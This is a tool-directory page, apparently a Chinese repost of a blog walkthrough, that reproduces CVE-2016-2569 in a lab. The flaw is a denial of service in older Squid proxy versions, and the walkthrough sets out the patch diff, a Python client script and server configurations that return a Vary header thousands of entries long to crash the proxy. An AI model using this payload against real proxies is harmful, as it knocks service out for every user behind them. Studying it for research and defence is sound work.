Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2016-2569 — Squid 3.5.15 之前的 3.x 版本以及 4.0.7 之前的 4.x 版本未能正确地向 String 对象追加数据,远程服务器可借此通过超长字符串导致拒绝服务(断言失败及守护进程退出),例如通过精心构造的 HTTP Vary 头即可触发。 | Kitploit
工具/GitHubGitHub/amit-raut/cve-2016-2569
漏洞分析漏洞利用Web安全
GitHubamit-raut/cve-2016-2569

CVE-2016-2569

Squid 3.5.15 之前的 3.x 版本以及 4.0.7 之前的 4.x 版本未能正确地向 String 对象追加数据,远程服务器可借此通过超长字符串导致拒绝服务(断言失败及守护进程退出),例如通过精心构造的 HTTP Vary 头即可触发。

查看仓库
618年前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

你好呀,

感谢你阅读我的第一篇博客文章。今天我们将针对开源工具 Squid 缓存代理服务器进行漏洞利用开发。

那么什么是 Squido?

Squid 是一款支持 HTTP、HTTPS、FTP 等协议的 Web 缓存代理。它通过缓存和复用频繁请求的网页来减少带宽占用并缩短响应时间。Squid 具有强大的访问控制功能,是一款出色的服务器加速器。它可运行于大多数操作系统,包括 Windows,并采用 GNU GPL 许可证。你可以在其官方网站 [http://www.squid-cache.org/] 上找到关于 Squid 缓存代理的更多信息。

什么是 CVE-2016-2569?

首先,我希望你知道什么是 CVE :p 总之,它代表 Common Vulnerabilities and Exposures(关于 CVE 的更多信息可以在 [https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures] 找到)。

我们可以看到关于 CVE-2016-2569 的以下信息:

描述:Squid 3.x(3.5.15 之前)和 4.x(4.0.7 之前)未能正确地向 String 对象追加数据,这使得远程服务器能够通过长字符串造成拒绝服务(断言失败和守护进程退出),正如精心构造的 HTTP Vary 头所演示的那样。Open Systems AG 的 Mathias Fischer 报告了此漏洞。

漏洞分析

由于这是一个开源项目,我们可以查看用于缓解此漏洞的补丁。根据提供的漏洞描述,我们可以确认这是某种溢出尝试。我们将继续深入源码以进一步调查。

补丁 [http://www.squid-cache.org/Versions/v3/3.5/changesets/squid-3.5-13991.patch] 确认对以下文件进行了修改:

  1. src/SquidString.h
  2. src/StrList.cc
  3. src/String.cc
  4. src/clients/Client.h
  5. src/clients/FtpClient.cc
  6. src/http.cc

让我们继续深入……

src/String.cc 的代码差异看起来很有趣,因为它对 aSize 变量进行了断言。


root@kitploit:~
=== modified file 'src/String.cc'
--- src/String.cc	2016-01-01 00:14:27 +0000
+++ src/String.cc	2016-02-19 23:15:41 +0000
@@ -42,7 +42,7 @@
 String::setBuffer(char *aBuf, String::size_type aSize)
 {
     assert(undefined());
-    assert(aSize < 65536);
+    assert(aSize <= SizeMax_);
     buf_ = aBuf;
     size_ = aSize;
 }
@@ -171,7 +171,7 @@
     } else {
         // Create a temporary string and absorb it later.
         String snew;
-        assert(len_ + len < 65536); // otherwise snew.len_ overflows below
+        assert(canGrowBy(len)); // otherwise snew.len_ may overflow below
         snew.len_ = len_ + len;
         snew.allocBuffer(snew.len_ + 1);

基于上述代码差异,我们可以尝试通过提供超过 65536 字节的 Vary 头值来利用此漏洞。

让我们开始搭建我们的漏洞利用环境。

我们将在 Linux 系统上搭建 Squid 缓存代理(我们将使用 Xubuntu 16.04 LTS)。Squid 缓存代理会缓存 metanet HTTP 服务器的响应,并在收到类似请求时从内存缓存中向客户端发送响应,而不是再次查询服务器。

我们的网络拓扑大致如下所示(抱歉,画拓扑图的方式有点老派,但我依然深爱着 VIM)

root@kitploit:~
-------------------------          -------------------------          -------------------------
|                       |          |                       |          |                       |
|         metanet       |  ---->   |         Squid         |  ----->  |         Client        |
|     192.168.56.102    |          |     Caching Proxy     |          |     192.168.56.1      |
|       HTTP Server     |  <----   |     TCP Port 3128     |  <----   |     Python Requests   |
|                       |          |                       |          |                       |
-------------------------          -------------------------          -------------------------

我们将通过 Squid 代理向我们的 nginx HTTP 服务器发送标准查询,并检查日志以确认环境是否按预期工作。

为了让事情更简单,我们将使用以下 Python 脚本向服务器发送请求。这里需要注意的重要一点是,请求中使用的头字段允许代理服务器缓存响应。如果 HTTP 请求头 "If-Modified-Since"、"max-age" 和 "cache-control" 的值不正确,客户端请求会强制代理服务器向源服务器查询响应。这将完全违背代理服务器的用途。


root@kitploit:~
Request.py

#!/usr/bin/env python

import requests, os

proxy = {'http': '192.168.56.102:3128'}
headers = {'If-Modified-Since': 'Wed, 24 Jan 2018 13:58:1 GMT', 'Accept': '*', 'max-age': '20000', 'cache-control': 'public', 'connetction': 'keep-alive', 'user-agent': 'requests2'}

if len(os.sys.argv) != 2:
    print "Usage: req [URI]"
    os.sys.exit()

print '\nhttp://192.168.56.102:8080/{}'.format(os.sys.argv[1])

r = requests.get('http://192.168.56.102:8080/{}'.format(os.sys.argv[1]), proxies=proxy, headers=headers)

print "\nHTTP Stat Code --> ", r.status_code

print
 
print "HTTP Response Headers \n", 
for h in r.headers:
    print h, ": ", r.headers[h] 
print

if 'Vary' in r.headers:
    print "Vary: ", r.headers['Vary'], "\n"

我们可以看到上面的 Python 代码设置了 headers、代理,并使用 Python requests 库向位于 192.168.56.102 的 HTTP 服务器发送请求。一旦我们从服务器或代理获得响应,就会打印出响应头。我们尤其感兴趣的是 HTTP 服务器或代理服务器发送的 Vary 响应头。

接下来要搭建的是 metanet(HTTP 服务器)。我们使用 metanet,因为它可以很容易地发送不同的 HTTP 响应头。或者,我们也可以使用 SimpleHTTPServer,它同样允许我们发送自定义的 HTTP 响应。

我们需要准备 metanet 配置文件,使其返回 Vary 头以及必要的头,从而允许 Squid 缓存代理在内存中缓存类似的响应。

我们的 metanet 配置大致如下:


root@kitploit:~
[tcp/8080]

             "GET / " -> "HTTP/1.1 200 OK\r\n\r\n<html><body style=\"background-color: #000000; color: #FFFFFF\">Artificial Intelligence is no match for natural stupidity :p</html>\n",close()
                      * -> "HTTP/1.1 200 OK\r\nServer: metanet\r\nmax-age: 0\r\nDate: Thu, 26 Jan 2018 16:25:22 GMT\r\nLast-Modified: Thu, 1 Feb 2018 13:58:11 GMT\r\nVary:NULL\r\nConnection:keep-alive\r\n\r\n<html><body>Wut????</body></html>",close()

让我们试一试,看看我们的环境是否真的能正常工作!

Squid 缓存代理环境

根据我们的配置,一切看起来都很正常。w00t w00t!

漏洞利用

让我们尝试利用该漏洞(将长字符串缓冲区与 HTTP Vary 响应头一起传递)。这是一种简单的溢出利用。从代码差异中我们可以看到,存在一个断言,规定 a_size 的值不应超过 65536。我们要让 Vary 头的长度达到那么长。

理想情况下,我们并没有 65536 个标准的 HTTP 响应头(那将是一场混乱 😛);但我们可以自己编造头。在这种情况下,唯一重要的就是传递给 Vary 头的字符串长度。

让我们用 Python 生成一个超长字符串,例如 python -c 'print "a,b,c,d,e,f," *6000'。我们将使用这个输出并修改我们的 metanet 配置,如下所示,然后测试我们的漏洞利用。

我们的 metanet 配置大致如下:


root@kitploit:~
[tcp/8080]

             "GET / " -> "HTTP/1.1 200 OK\r\n\r\n<html><body style=\"background-color: #000000; color: #FFFFFF\">Artificial Intelligence is no match for natural stupidity :p</html>\n",close()
                      * -> "HTTP/1.1 200 OK\r\nServer: metanet\r\nmax-age: 0\r\nDate: Thu, 26 Jan 2018 16:25:22 GMT\r\nLast-Modified: Thu, 1 Feb 2018 13:58:11 GMT\r\nVary:`a,b,c,d,e,f,`<reapeated 6000 times>"\r\nConnection:keep-alive\r\n\r\n<html><body>Wut????</body></html>",close()

当我们向代理发送第一个请求时,一切看起来都很正常。代理似乎没有缓存响应;也许是因为我们在 Vary 头字段中提供的值。Vary 头中指定的响应头会参与 md5 摘要的计算,以校验缓存内容。

让我们继续向代理发送多个请求。这里出了问题,代理没有响应我们的请求,因为我们从 requests 库收到了 "Proxy Error"。无论如何,让我们继续发送请求。

唉。代理因频繁故障而停止。任何通过代理连接服务器的设备都将无法访问任何内容。这对所有代理用户来说都是拒绝服务。

使用长 Vary 头对 Squid 代理进行漏洞利用

下载工具